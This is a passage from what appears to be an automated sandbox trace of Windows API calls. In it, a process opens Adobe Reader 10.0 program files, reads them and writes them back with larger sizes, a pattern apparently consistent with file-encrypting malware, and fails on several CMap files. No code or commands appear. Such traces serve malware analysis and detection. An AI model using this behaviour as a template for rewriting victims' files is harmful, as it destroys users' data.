lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="info.gif", lpUsedDefaultChar=0x0) returned 8 [0048.130] ReadFile (in: hFile=0x168, lpBuffer=0x1e54ee8, nNumberOfBytesToRead=0x242, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e54ee8*, lpNumberOfBytesRead=0x304f2bc*=0x242, lpOverlapped=0x0) returned 1 [0048.131] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0048.131] WriteFile (in: hFile=0x168, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x7ca, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x304f2d0*=0x7ca, lpOverlapped=0x0) returned 1 [0048.131] CloseHandle (hObject=0x168) returned 1 [0048.132] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\review_same_reviewers.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\review_same_reviewers.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0048.132] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0048.132] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x3c2 [0048.132] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0048.132] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.132] ReleaseMutex (hMutex=0x128) returned 1 [0048.132] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="review_same_reviewers.gif", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0048.132] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="review_same_reviewers.gif", cchWideChar=25, lpMultiByteStr=0x1e7fb1c, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="review_same_reviewers.gif", lpUsedDefaultChar=0x0) returned 25 [0048.132] ReadFile (in: hFile=0x168, lpBuffer=0x1daa458, nNumberOfBytesToRead=0x3c2, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1daa458*, lpNumberOfBytesRead=0x304f2bc*=0x3c2, lpOverlapped=0x0) returned 1 [0048.139] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0048.139] WriteFile (in: hFile=0x168, lpBuffer=0x2613698*, nNumberOfBytesToWrite=0x94a, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2613698*, lpNumberOfBytesWritten=0x304f2d0*=0x94a, lpOverlapped=0x0) returned 1 [0048.139] CloseHandle (hObject=0x168) returned 1 [0048.139] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\trash.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\trash.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0048.139] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0048.139] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x489 [0048.139] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0048.140] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.140] ReleaseMutex (hMutex=0x128) returned 1 [0048.140] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="trash.gif", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0048.140] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="trash.gif", cchWideChar=9, lpMultiByteStr=0x1e630ac, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="trash.gif", lpUsedDefaultChar=0x0) returned 9 [0048.140] ReadFile (in: hFile=0x168, lpBuffer=0x2742168, nNumberOfBytesToRead=0x489, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2742168*, lpNumberOfBytesRead=0x304f2bc*=0x489, lpOverlapped=0x0) returned 1 [0048.155] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0048.155] WriteFile (in: hFile=0x168, lpBuffer=0x27f6ce8*, nNumberOfBytesToWrite=0xa11, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27f6ce8*, lpNumberOfBytesWritten=0x304f2d0*=0xa11, lpOverlapped=0x0) returned 1 [0048.723] CloseHandle (hObject=0x168) returned 1 [0048.723] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmecze.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0048.727] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0048.727] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x4623 [0048.727] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0048.727] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.727] ReleaseMutex (hMutex=0x128) returned 1 [0048.727] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeCZE.htm", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0048.727] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeCZE.htm", cchWideChar=13, lpMultiByteStr=0x1e6302c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadMeCZE.htm", lpUsedDefaultChar=0x0) returned 13 [0048.727] ReadFile (in: hFile=0x168, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0048.729] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x3623 [0048.729] ReadFile (in: hFile=0x168, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0048.729] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x3623 [0048.729] WriteFile (in: hFile=0x168, lpBuffer=0x276b358*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x276b358*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0048.732] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0048.732] WriteFile (in: hFile=0x168, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0048.732] CloseHandle (hObject=0x168) returned 1 [0048.732] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeFanHeitiStd-Bold.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\adobefanheitistd-bold.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0048.733] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0048.733] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x53e434 [0048.733] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0048.733] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.733] ReleaseMutex (hMutex=0x128) returned 1 [0048.733] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeFanHeitiStd-Bold.otf", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0048.733] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeFanHeitiStd-Bold.otf", cchWideChar=25, lpMultiByteStr=0x1e7fb1c, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeFanHeitiStd-Bold.otf", lpUsedDefaultChar=0x0) returned 25 [0048.733] ReadFile (in: hFile=0x168, lpBuffer=0x27f5cc8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x27f5cc8*, lpNumberOfBytesRead=0x304f278*=0xf000, lpOverlapped=0x0) returned 1 [0048.735] ReadFile (in: hFile=0x168, lpBuffer=0x27f5cc8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x27f5cc8*, lpNumberOfBytesRead=0x304f278*=0xf000, lpOverlapped=0x0) returned 1 [0048.737] ReadFile (in: hFile=0x168, lpBuffer=0x27f5cc8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x27f5cc8*, lpNumberOfBytesRead=0x304f278*=0x2000, lpOverlapped=0x0) returned 1 [0048.737] SetFilePointer (in: hFile=0x168, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x53c434 [0048.737] ReadFile (in: hFile=0x168, lpBuffer=0x276b358, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276b358*, lpNumberOfBytesRead=0x304f278*=0x2000, lpOverlapped=0x0) returned 1 [0048.740] SetFilePointer (in: hFile=0x168, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x53c434 [0048.741] WriteFile (in: hFile=0x168, lpBuffer=0x276b358*, nNumberOfBytesToWrite=0x2588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x276b358*, lpNumberOfBytesWritten=0x304f28c*=0x2588, lpOverlapped=0x0) returned 1 [0048.741] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0048.742] WriteFile (in: hFile=0x168, lpBuffer=0x27f5cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f5cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0048.742] WriteFile (in: hFile=0x168, lpBuffer=0x27f5cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f5cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0048.743] WriteFile (in: hFile=0x168, lpBuffer=0x27f5cc8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f5cc8*, lpNumberOfBytesWritten=0x304f28c*=0x2000, lpOverlapped=0x0) returned 1 [0048.743] CloseHandle (hObject=0x168) returned 1 [0048.743] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90ms-RKSJ-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\90ms-rksj-ucs2"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0048.743] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90ms-RKSJ-UCS2", nBufferLength=0x104, lpBuffer=0x304f694, lpFilePart=0x304f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90ms-RKSJ-UCS2", lpFilePart=0x304f690*="90ms-RKSJ-UCS2") returned 0x45 [0048.743] GetLastError () returned 0x5 [0048.743] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x304f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="꿸q̄폈H̄퐔H̄L̄ꢈǦ\x01") returned 0x13 [0048.743] LocalFree (hMem=0x71aff8) returned 0x0 [0048.743] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x304d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0048.743] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x304f894) [0048.743] RtlUnwind (TargetFrame=0x304f8fc, TargetIp=0x406ffc, ExceptionRecord=0x304f378, ReturnValue=0x0) [0048.744] RtlUnwind (TargetFrame=0x304f920, TargetIp=0x407184, ExceptionRecord=0x304f378, ReturnValue=0x0) [0048.744] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90ms-RKSJ-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\90ms-rksj-ucs2")) returned 0x20 [0048.744] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-1" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0048.744] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-1", nBufferLength=0x104, lpBuffer=0x304f694, lpFilePart=0x304f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-1", lpFilePart=0x304f690*="Adobe-CNS1-1") returned 0x43 [0048.744] GetLastError () returned 0x5 [0048.744] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x304f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="꿸q̄폈H̄퐔H̄L̄ꢈǦ\x01") returned 0x13 [0048.744] LocalFree (hMem=0x71aff8) returned 0x0 [0048.744] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x304d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0048.744] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x304f894) [0048.744] RtlUnwind (TargetFrame=0x304f8fc, TargetIp=0x406ffc, ExceptionRecord=0x304f378, ReturnValue=0x0) [0048.744] RtlUnwind (TargetFrame=0x304f920, TargetIp=0x407184, ExceptionRecord=0x304f378, ReturnValue=0x0) [0048.744] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-1" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-1")) returned 0x20 [0048.745] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-ucs2"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0048.745] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-UCS2", nBufferLength=0x104, lpBuffer=0x304f694, lpFilePart=0x304f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-UCS2", lpFilePart=0x304f690*="Adobe-CNS1-UCS2") returned 0x46 [0048.745] GetLastError () returned 0x5 [0048.745] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x304f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="꿸q̄폈H̄퐔H̄L̄ꢈǦ\x01") returned 0x13 [0048.745] LocalFree (hMem=0x71aff8) returned 0x0 [0048.745] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x304d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0048.745] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x304f894) [0048.745] RtlUnwind (TargetFrame=0x304f8fc, TargetIp=0x406ffc, ExceptionRecord=0x304f378, ReturnValue=0x0) [0048.745] RtlUnwind (TargetFrame=0x304f920, TargetIp=0x407184, ExceptionRecord=0x304f378, ReturnValue=0x0) [0048.745] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-ucs2")) returned 0x20 [0048.745] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-H-Host" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-h-host"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0048.746] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-H-Host", nBufferLength=0x104, lpBuffer=0x304f694, lpFilePart=0x304f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-H-Host", lpFilePart=0x304f690*="Adobe-GB1-H-Host") returned 0x47 [0048.746] GetLastError () returned 0x5 [0048.746] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x304f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="꿸q̄폈H̄퐔H̄L̄ꢈǦ\x01") returned 0x13 [0048.746] LocalFree (hMem=0x71aff8) returned 0x0 [0048.746] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x304d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0048.746] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x304f894) [0048.746] RtlUnwind (TargetFrame=0x304f8fc, TargetIp=0x406ffc, ExceptionRecord=0x304f378, ReturnValue=0x0) [0048.746] RtlUnwind (TargetFrame=0x304f920, TargetIp=0x407184, ExceptionRecord=0x304f378, ReturnValue=0x0) [0048.746] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-H-Host" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-h-host")) returned 0x20 [0048.746] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-90ms-RKSJ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-90ms-rksj"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0048.746] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-90ms-RKSJ", nBufferLength=0x104, lpBuffer=0x304f694, lpFilePart=0x304f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-90ms-RKSJ", lpFilePart=0x304f690*="Adobe-Japan1-90ms-RKSJ") returned 0x4d [0048.746] GetLastError () returned 0x5 [0048.746] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x304f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="꿸q̄폈H̄퐔H̄L̄ꢈǦ\x01") returned 0x13 [0048.746] LocalFree (hMem=0x71aff8) returned 0x0 [0048.746] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x304d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0048.747] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x304f894) [0048.747] RtlUnwind (TargetFrame=0x304f8fc, TargetIp=0x406ffc, ExceptionRecord=0x304f378, ReturnValue=0x0) [0048.747] RtlUnwind (TargetFrame=0x304f920, TargetIp=0x407184, ExceptionRecord=0x304f378, ReturnValue=0x0) [0048.747] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-90ms-RKSJ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-90ms-rksj")) returned 0x20 [0048.747] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-H-Host" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-korea1-h-host"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0048.747] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-H-Host", nBufferLength=0x104, lpBuffer=0x304f694, lpFilePart=0x304f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-H-Host", lpFilePart=0x304f690*="Adobe-Korea1-H-Host") returned 0x4a [0048.747] GetLastError () returned 0x5 [0048.747] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x304f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="꿸q̄폈H̄퐔H̄L̄ꢈǦ\x01") returned 0x13 [0048.747] LocalFree (hMem=0x71aff8) returned 0x0 [0048.747] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x304d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0048.747] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x304f894) [0048.747] RtlUnwind (TargetFrame=0x304f8fc, TargetIp=0x406ffc, ExceptionRecord=0x304f378, ReturnValue=0x0) [0048.748] RtlUnwind (TargetFrame=0x304f920, TargetIp=0x407184, ExceptionRecord=0x304f378, ReturnValue=0x0) [0048.748] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-H-Host" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-korea1-h-host")) returned 0x20 [0048.748] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\CNS-EUC-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\cns-euc-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0048.748] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\CNS-EUC-V", nBufferLength=0x104, lpBuffer=0x304f694, lpFilePart=0x304f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\CNS-EUC-V", lpFilePart=0x304f690*="CNS-EUC-V") returned 0x40 [0048.748] GetLastError () returned 0x5 [0048.748] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x304f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="꿸q̄폈H̄퐔H̄L̄ꢈǦ\x01") returned 0x13 [0048.748] LocalFree (hMem=0x71aff8) returned 0x0 [0048.748] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x304d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0048.748] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x304f894) [0048.748] RtlUnwind (TargetFrame=0x304f8fc, TargetIp=0x406ffc, ExceptionRecord=0x304f378, ReturnValue=0x0) [0048.748] RtlUnwind (TargetFrame=0x304f920, TargetIp=0x407184, ExceptionRecord=0x304f378, ReturnValue=0x0) [0048.748] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\CNS-EUC-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\cns-euc-v")) 